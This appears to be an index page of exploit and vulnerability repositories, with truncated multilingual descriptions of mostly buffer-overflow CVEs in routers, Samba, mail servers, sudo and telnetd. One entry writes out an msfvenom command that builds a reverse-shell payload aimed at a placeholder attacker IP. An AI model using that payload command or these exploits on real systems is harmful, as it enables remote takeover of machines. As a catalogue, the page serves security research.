CVE-2025-40634

CVE-2025-40634 O roteador TP-Link Archer AX50 é vulnerável a um estouro de buffer baseado em pilha na versão de firmware 1.0.14 Build 20240108 rel.426554555, levando à execução remota de código tanto na LAN quanto na WAN. Essa vulnerabilidade tem a mesma causa raiz do CVE-2020-10881, descoberta...

CVE-2025-43300

CVE-2025-43300：iOS/macOS DNG图像处理内存损坏 概述 CVE-2025-43300 是苹果图像处理框架中的一个关键内存损坏漏洞，影响 iOS 18.6.1 和 macOS 系统。该漏洞存在于 RawCamera.bundle 中的 JPEG 无损解压缩代码中，由 DNG 文件中 TIFF 元数据与 JPEG 流参数之间的不一致性触发。 漏洞详情 根本原因 漏洞源于 DNG（数字负片）文件中的元数据/流不一致： 1. TIFF 头中的 SamplesPerPixel 元数据 指示预期的颜色分量 2. JPEG 无损流中的 SOF3 分量计数 指定实际数据分量 3...

EvilSunCheck

Verificador de Vulnerabilidade EvilSun CVE-2020-14871 Este é um pequeno script Python para detectar a vulnerabilidade "EvilSun" CVE-2020-14871 em sistemas Solaris. A vulnerabilidade é um estouro de buffer no Módulo de Autenticação Plugável PAM pamunixauth ao lidar com autenticação interativa por...

CVE-2023-40294-and-CVE-2023-40295

Enquanto executava o boron no meu ambiente, por acaso me deparei com 2 estouros de buffer de heap no libboron libboron.so.2 versão 2.0.8 ao processar entrada ligeiramente malformada. Isso foi oficialmente testado tanto no Mac x8664 quanto no Linux x8664: Arquivos para reprodução reproduction.zip...

trans2open-CVE-2003-0201

Versions Samba 2.2.0 à 2.2.8 Cet exploit utilise le débordement de tampon trouvé dans les versions Samba 2.2.0 à 2.2.8. Ce module particulier est capable d'exploiter la faille sur les systèmes Linux x86 qui n'ont pas l'option de pile noexec activée. REMARQUE : Certaines anciennes versions de RedH...

CVE-2009-3999

CVE-2009-3999 Exploit do HP Power Manager 4.2 Build 7 inspirado por https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 PASSO 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b...

CVE-2004-2271-MiniShare-1.4.1-Buffer-Overflow

CVE 2004-2271 MiniShare-1.4.1-Buffer-Overflow https://vulners.com/cve/CVE-2004-2271 Verwendung in der Datei, generiert automatisch ein msfvenom-Payload, weil ich faul bin. Portiert von: https://www.exploit-db.com/exploits/636/...

pytm

pytm: A Pythonic framework for threat modeling Introduction Traditional threat modeling too often comes late to the party, or sometimes not at all. In addition, creating manual data flows and reports can be extremely time-consuming. The goal of pytm is to shift threat modeling to the left, making...

SSH-Remote-Code-Execution

Esecuzione Remota di Codice SSH SSH Zero-Day | Creato da ClumsyLulz & Taylor Christian Newsome Sommario Questo repository contiene un programma in C che accetta parametri di input e genera un pacchetto da inviare a un server tramite il protocollo SSH. Il programma alloca un buffer per contenere i...

CVE-2003-0264

CVE-2003-0264 Эксплойт для переполнения буфера в SLmail 5.5 CVE-2003-0264 Основано на: https://github.com/Gallopsled/pwntools https://github.com/rapid7/metasploit-framework Пример вывода: root@kitploit: $ ./slmail-into-shell.py + Opening connection to 192.168.15.100 on port 110: Done + Trying to...

CVE-2017-11882

Aperçu de CVE-2017-11882 Du point de vue de l'exploitation, il peut toucher toutes les versions d'Office de 2003 à 2016, et la mise en place de l'environnement d'attaque est très simple. Cette vulnérabilité est causée par l'Éditeur d'équations dans Office. Comme le processus de l'éditeur ne vérif...

cve-2026-32746

CVE-2026-32746 - Overflow del buffer in telnetd LINEMODE SLC Overflow del buffer pre-autenticazione nel gestore LINEMODE SLC Set Local Characters di GNU InetUtils telnetd. CVSS 3.1: 9.8 Critico | CWE: CWE-120, CWE-787 Panoramica La funzione addslc in telnetd/slc.c aggiunge 3 byte per tripletto SL...

CVE-2022-42475-RCE-POC

CVE-2022-42475-RCE-POC Название уязвимости CVE-2022-42475 POC RCE-уязвимости Fortinet Причина уязвимости Из-за недостатка проверки вводимых пользователем данных в sslvpnd неаутентифицированный злоумышленник может, отправив специально сформированный пакет, вызвать переполнение буфера и в конечном...

CVE-2017-1000112-PoC

CVE-2017-1000112Overflow del buffer scarica l'immagine iso da https://old-releases.ubuntu.com/releases/16.10/ubuntu-16.10-server-amd64.iso gcc exploit.c -o exploit ottenuto root...

ENLBufferPwn

ENLBufferPwn CVE-2022-47949...

CVE-Exploitation-Reports

Rapports d'exploitation CVE Rapports d'exploitation CVE : CVE-2007-3280, CVE-2017-0144, CVE-2019-0708 Ce dépôt contient des rapports d'exploitation détaillés pour les vulnérabilités et expositions communes CVE suivantes : CVE-2007-3280 : Une vulnérabilité de débordement de tampon dans le contrôle...

CVE-2021-3156

CVE-2021-3156: Heap-basierter Pufferüberlauf in Sudo Baron Samedit Root-Exploit ohne BruteForce Alle Forschungscredits: Qualys Research Team Weitere Details finden Sie in ihrem Blog. Manuell installiertes Ubuntu 20.04 LTS und Sudo Version 1.8.31 auf einem Docker-Container zu Testzwecken und...

CVE-2023-29929

CVE-2023-29929: Remote "Instakill" DoS in Kemp LoadMaster per DNS-Paket Kemp LoadMaster-Geräte Firmware 7.2.60 leiden unter einer kritischen Pufferüberlauf-Schwachstelle in den Methoden isreverse und locatefqdn der Bibliothek libkemplink.so. Die Schwachstelle resultiert aus einem zu kleinen...

CVE-2019-1663-Binary-Analysis

Binäranalyse von CVE-2019-1663 Autor: Corentin Wolff Ursprung der Schwachstelle Quelle der Schwachstelle Die Schwachstelle stammt von der Funktion 0x0002BF64, die die strcpy-Funktion missbraucht, was sie anfällig für Pufferüberlauf-Angriffe macht. Zur Klarheit wurde diese Funktion in Login...

CVE-2025-43300

CVE-2025-43300 CVE-2025-43300: iOS/macOS DNG इमेज प्रोसेसिंग मेमोरी करप्शन सारांश Apple के इमेज प्रोसेसिंग RawCamera.bundle में एक कमजोरी iOS 18.6.1 और macOS को प्रभावित करती है। यह समस्या तब होती है जब DNG फ़ाइलों में TIFF मेटाडेटा और JPEG लॉसलेस पैरामीटर बेमेल होते हैं, जिससे मेमोरी करप्शन होता...